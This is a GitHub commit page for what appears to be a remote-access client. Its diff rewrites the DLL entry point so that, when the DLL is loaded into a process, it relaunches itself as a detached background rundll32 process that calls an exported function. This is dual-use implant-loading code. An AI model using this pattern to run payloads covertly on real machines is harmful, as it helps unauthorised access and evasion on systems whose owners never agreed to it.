Skip to content

Commit aa0d280

Browse files
0xW1LDNHASdurckuser05
authored
Spawn detached DLL instead of using thread (#216)
* Update modules * fix naming of parametres (#210) was one conflict between README and source code. In readme used "--use-kerberos" flag. And in internal/client... some. But in cmd/client/main.go used "--host-kerberos". Ьany users were confused. I unified it Co-authored-by: user05 <user05@hd.lab> * spawn detached dll instead of thread * remove lld bypass for dev syntax error * Remove unnecessary thread function --------- Co-authored-by: nhas <jordanatararimu@gmail.com> Co-authored-by: durck <31553806+durck@users.noreply.github.com> Co-authored-by: user05 <user05@hd.lab>
1 parent 94f36ef commit aa0d280

1 file changed

Lines changed: 14 additions & 10 deletions

File tree

cmd/client/dllmain.h

Lines changed: 14 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -1,16 +1,11 @@
11

22
#include <windows.h>
3+
#include <stdio.h>
34

45
void OnProcessAttach();
56

6-
DWORD WINAPI MyThreadFunction()
7-
{
8-
OnProcessAttach();
9-
return 0;
10-
}
11-
127
BOOL WINAPI DllMain(
13-
HINSTANCE _hinstDLL, // handle to DLL module
8+
HINSTANCE hinstDLL, // handle to DLL module
149
DWORD _fdwReason, // reason for calling function
1510
LPVOID _lpReserved) // reserved
1611
{
@@ -20,8 +15,17 @@ BOOL WINAPI DllMain(
2015
// Initialize once for each new process.
2116
// Return FALSE to fail DLL load.
2217
{
23-
HANDLE hThread = CreateThread(NULL, 0, MyThreadFunction, NULL, 0, NULL);
24-
// CreateThread() because otherwise DllMain() is highly likely to deadlock.
18+
if (GetModuleHandleA("rundll32.exe")) return TRUE;
19+
20+
char dll[MAX_PATH], cmd[MAX_PATH + 64];
21+
GetModuleFileNameA((HINSTANCE)hinstDLL, dll, MAX_PATH);
22+
#ifdef _WIN64
23+
snprintf(cmd, sizeof(cmd), "C:\\Windows\\System32\\rundll32.exe \"%s\",VoidFunc", dll);
24+
#else
25+
snprintf(cmd, sizeof(cmd), "C:\\Windows\\SysWOW64\\rundll32.exe \"%s\",VoidFunc", dll);
26+
#endif
27+
STARTUPINFOA si = {sizeof(si)}; PROCESS_INFORMATION pi = {0};
28+
CreateProcessA(NULL, cmd, NULL, NULL, FALSE, DETACHED_PROCESS, NULL, NULL, &si, &pi);
2529
}
2630
break;
2731
case DLL_PROCESS_DETACH:
@@ -36,4 +40,4 @@ BOOL WINAPI DllMain(
3640
}
3741

3842
return TRUE; // Successful.
39-
}
43+
}

0 commit comments

Comments
 (0)